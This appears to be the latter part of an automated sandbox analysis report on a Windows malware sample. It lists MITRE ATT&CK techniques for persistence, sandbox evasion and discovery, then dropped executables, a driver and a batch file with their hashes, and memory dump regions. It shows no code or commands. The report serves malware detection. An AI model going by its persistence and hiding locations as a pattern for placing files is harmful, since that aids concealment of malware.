                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  Modify Registry

                  1
                  T1112

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Credential Access

                  Discovery

                  Peripheral Device Discovery

                  1
                  T1120

                  Query Registry

                  6
                  T1012

                  System Information Discovery

                  4
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Lateral Movement

                  Collection

                  Command and Control

                  Web Service

                  1
                  T1102

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Program Files\Google\Libs\WR64.sys
                    Filesize

                    14KB

                    MD5

                    0c0195c48b6b8582fa6f6373032118da

                    SHA1

                    d25340ae8e92a6d29f599fef426a2bc1b5217299

                    SHA256

                    11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

                    SHA512

                    ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

                    Download Submit

                  • C:\ProgramData\Microsoft\FZqXSDfqiqeKiuWMMtpFNFZLsGXtEr.exe
                    Filesize

                    9.8MB

                    MD5

                    f0d66591cc208003b04be406c2ea8420

                    SHA1

                    06458ca23059df3117666cb4a64dc2e26f9daf97

                    SHA256

                    927f00ec370ff3aa74cb58bcd118e6198f1945fe7691f8f73f3feaa046dcfb5d

                    SHA512

                    cf67d6eaac9bc848297df4b4f67ff6ef606161b1e9198af6a7f5430a240ca261503c23bb2c15b386a1b421181a399531a3735739a2b860beb18f5e8ea5c01c6a

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\smchyip.bat
                    Filesize

                    3KB

                    MD5

                    060a9d492eb13b842aad02350b1e7284

                    SHA1

                    38be5b02a8db6bcc884ab9968cc6e968933cef0c

                    SHA256

                    ef7848cafcc9287ec535cc0f98cd26257f03f4dea69e5f175cba8d7629b2075a

                    SHA512

                    eade10f9e1099b16f7d2361c4a7d7ed23ca211a6b24fb786f9d348416ad5f998e6079ba82966f7e518fe22f80f4443c0026df6bc0812a349ddddc29b97618748

                    Download Submit

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                    Filesize

                    7KB

                    MD5

                    15af44c62405d18e9e5c2d9ae8a80e4c

                    SHA1

                    b4644fdc5fce3b008be40361aa52350d04effb87

                    SHA256

                    2e84d641fdeb1a899de017065f5b9a3422eb4f1767b3a76c302f0197b3995acb

                    SHA512

                    001c1a94db2268f884317dc5b1dd459886d4da088ec77b7220ee7a6d61c09dffbcb34742d8e39b0f673ad426481fdb78333049f9ca22e3cd1793ee8e2c8b2c4f

                    Download Submit

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                    Filesize

                    7KB

                    MD5

                    20c60be47bddc04eb931a20ac002a9e7

                    SHA1

                    90493b7ab377f41922905e2596da0ee2c0ad9539

                    SHA256

                    3548396a6adb6249bea50792f481d9043a916e8b6c8e371ddbe7883a0afc9cc9

                    SHA512

                    f1bcc059ce222065c6417f26c280f8bb1b309b0a38610838b4e6ee7ba3155e317836efc1bc452c82e0f3c6cc8f94558904fe935fa6e0f9f6ebeb637336035ffa

                    Download Submit

                  • C:\Windows\Cursors\HwTEknTZffvlUbHxuLDNsrZCQIGbvd.exe
                    Filesize

                    133KB

                    MD5

                    b789be46d520694943db87140ba6edb6

                    SHA1

                    3cc6c4ac64112a771ccd3235e313dcfcdc7a78d9

                    SHA256

                    a6195edcc520035e9baf76f120fa62909ccea148a3a4596d81cda06e08fef962

                    SHA512

                    648d70c844d4425c5a83882836ea65067e54eed181d355e950a267da5ad92343ef08a4cb4eccfe45aa8561be94ac686807c867d0e0cb438ddf5988e502923d34

                    Download Submit

                  • C:\Windows\SoftwareDistribution\Download\eBpJzEJRzzexfqXgMaVGflvRQuMBTh.exe
                    Filesize

                    595KB

                    MD5

                    69b8138d0e9dd6b169043520330bceac

                    SHA1

                    aabe9458e1751623e727fb775e923103a02afe7a

                    SHA256

                    01825f4cb340163af8d9f803a31dc20c1e33404ced73e17dbf74896d7ec1c34b

                    SHA512

                    fa135dfec349bc9a3fd8348b2a60352a01ef27d73505550291953b2274994aff88a614fd225b97c2824fa05e91580ac7dd2292065a99514d17f731c0711574d0

                    Download Submit

                  • C:\Windows\SoftwareDistribution\Download\rpoaJiPszTLYVVQHoRiWVwggluplmB.exe
                    Filesize

                    201KB

                    MD5

                    d4f11c9a6a07f2a9ec69bc367b9243be

                    SHA1

                    63a5efac9bee6e1fd7de45fe10b5768c8fd9e382

                    SHA256

                    0dcf580f5f74465642419ae9f8c56ea2cb4116d8d2c37f4ee4e3dcd45c50f1f0

                    SHA512

                    14d061b2b6b486f0294c2228dd5badfbcd3296be59777449239201bcf3095b0c89eafe9e88683b1c924022ee795aee8e5b6483046a08d824f74d1061aa7846e0

                    Download Submit

                  • memory/408-85-0x0000000001F80000-0x0000000001F88000-memory.dmp

                    Filesize

                    32KB

                    Download

                  • memory/408-84-0x000000001B570000-0x000000001B852000-memory.dmp

                    Filesize

                    2.9MB

                    Download

                  • memory/988-155-0x000000013F1E0000-0x000000013FBAA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/988-169-0x000000013F1E0000-0x000000013FBAA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2164-78-0x0000000002200000-0x0000000002208000-memory.dmp

                    Filesize

                    32KB

                    Download

                  • memory/2164-77-0x000000001B460000-0x000000001B742000-memory.dmp

                    Filesize

                    2.9MB

                    Download

                  • memory/2204-100-0x0000000140000000-0x000000014002A000-memory.dmp

                    Filesize

                    168KB

                    Download

                  • memory/2204-173-0x0000000140000000-0x000000014002A000-memory.dmp

                    Filesize

                    168KB

                    Download

                  • memory/2288-15-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-1-0x00000000002C0000-0x0000000001D2A000-memory.dmp

                    Filesize

                    26.4MB

                    Download

                  • memory/2288-6-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-9-0x000007FEF5D03000-0x000007FEF5D04000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2288-5-0x0000000000290000-0x00000000002A4000-memory.dmp

                    Filesize

                    80KB

                    Download

                  • memory/2288-0-0x000007FEF5D03000-0x000007FEF5D04000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2288-16-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-4-0x000000001DF80000-0x000000001E356000-memory.dmp

                    Filesize

                    3.8MB

                    Download

                  • memory/2288-8-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-3-0x000000001DD90000-0x000000001DEDE000-memory.dmp

                    Filesize

                    1.3MB

                    Download

                  • memory/2288-2-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-14-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-13-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-7-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-12-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-11-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2288-10-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2388-175-0x000000013F2F0000-0x000000013FCBA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2388-181-0x000000013F2F0000-0x000000013FCBA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2504-101-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-174-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-99-0x0000000000240000-0x0000000000260000-memory.dmp

                    Filesize

                    128KB

                    Download

                  • memory/2504-189-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-187-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-154-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-185-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-183-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2504-177-0x0000000140000000-0x00000001407EF000-memory.dmp

                    Filesize

                    7.9MB

                    Download

                  • memory/2600-43-0x0000000074DE0000-0x00000000754CE000-memory.dmp

                    Filesize

                    6.9MB

                    Download

                  • memory/2600-42-0x0000000000530000-0x000000000053C000-memory.dmp

                    Filesize

                    48KB

                    Download

                  • memory/2600-53-0x0000000074DE0000-0x00000000754CE000-memory.dmp

                    Filesize

                    6.9MB

                    Download

                  • memory/2600-41-0x0000000000D40000-0x0000000000DE2000-memory.dmp

                    Filesize

                    648KB

                    Download

                  • memory/2600-40-0x0000000074DEE000-0x0000000074DEF000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2752-125-0x00000000011F0000-0x0000000001292000-memory.dmp

                    Filesize

                    648KB

                    Download

                  • memory/2940-98-0x000000013F310000-0x000000013FCDA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2940-92-0x000000013F310000-0x000000013FCDA000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2944-72-0x000000013FE60000-0x000000014082A000-memory.dmp

                    Filesize

                    9.8MB

                    Download

                  • memory/2944-88-0x000000013FE60000-0x000000014082A000-memory.dmp

                    Filesize

                    9.8MB

                    Download